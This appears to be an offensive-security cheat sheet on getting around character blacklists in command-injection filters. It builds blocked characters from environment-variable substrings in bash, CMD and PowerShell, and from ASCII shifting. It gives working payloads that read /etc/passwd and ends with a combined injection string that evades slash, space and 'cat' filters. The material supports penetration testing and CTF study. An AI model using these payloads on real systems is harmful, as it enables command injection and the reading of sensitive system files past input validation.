When specific characters like /, \, or quotes are blacklisted, you can’t type them directly — but you can extract them from existing environment variables, or synthesize them from ASCII math.
Bash Substring Expansion
Bash lets you extract substrings from any variable. Since environment variables contain most printable characters somewhere in their values, you can extract whatever character you need:
echo ${PATH:0:1} # prints the first character of $PATH, which is "/"Syntax
${VARIABLE:start:length}start— zero-indexed position in the variable’s valuelength— number of characters to extract
Finding Useful Characters
printenv lists all environment variables:
printenvLook for variables that contain the character you need. Common sources:
$PATH→ starts with/$HOME→ starts with/$SHELL→/bin/bashor/usr/bin/zsh$LS_COLORS→ contains many special chars (;,=,*)
Building a Full Command
Say / is blocked. Reconstruct /etc/passwd:
cat ${PATH:0:1}etc${PATH:0:1}passwd
# resolves to: cat /etc/passwdVerbose but works. You can chain multiple extractions for longer paths.
Windows CMD Substring Expansion
Same concept, different syntax:
%VAR:~Start,Length%Examples:
echo %HOMEPATH% # \Users\Administrator
echo %HOMEPATH:~0,1% # \ (first char)
echo %HOMEPATH:~7,13% # Administrator (13 chars starting at 7)
echo %HOMEPATH:~0,-8% # \Users\Admin (first char up to 8 before end)PowerShell Substring
PowerShell treats strings as character arrays:
$env:HOMEPATH[0] # \ (first character)
$env:PROGRAMFILES[10] # space character
Get-ChildItem Env: # list all env variablesASCII Character Shifting
When no environment variable contains your target character, synthesize it from ASCII math. Useful when \, |, or quotes are blocked but adjacent ASCII characters ([, {, `) are allowed.
ASCII Reference
A = 65 [ = 91
a = 97 \ = 92
0 = 48 ] = 93
Example: [ (ASCII 91) + 1 = \ (ASCII 92).
Linux
echo $(tr '!-}' '"-~' <<< [) # prints \tr '!-}' '"-~' shifts each character up by one. Feed in [, get \.
PowerShell
[char]([int][char]'[' + 1) # outputs \Convert char to int, add 1, convert back.
Use in a Command
cat$IFS/etc/passwd # if / is OK
cat$IFS$(tr '!-}' '"-~' <<< [)etc$(tr '!-}' '"-~' <<< [)passwd # if / is blockedUgly but functional.
Reading Env Vars Without Direct Access
If $ is blocked, you may still have printenv or env:
printenv PATH # prints value of PATH
printenv | grep ^PATH # same, portableOr on Windows:
set PATHPipe through grep/find to locate the character you want.
Quote Alternatives
If quotes (', ") are blocked, bash accepts alternatives:
echo hello # no quotes needed for simple strings
echo $'hello' # dollar-quote (also handles escapes)
echo "$(echo hello)" # command substitution produces stringCombining Techniques
A realistic bypass when /, spaces, and cat are all blocked:
127.0.0.1%0a{tac${PATH:0:1}etc${PATH:0:1}passwd}
%0a— newline separator{...}— brace expansion (no spaces)tac— alternative tocat(also reverses, which may bypass command filters)${PATH:0:1}— synthesizes/
Each piece addresses one blocked element. Build up incrementally — don’t try to craft the full obfuscated payload in your head.
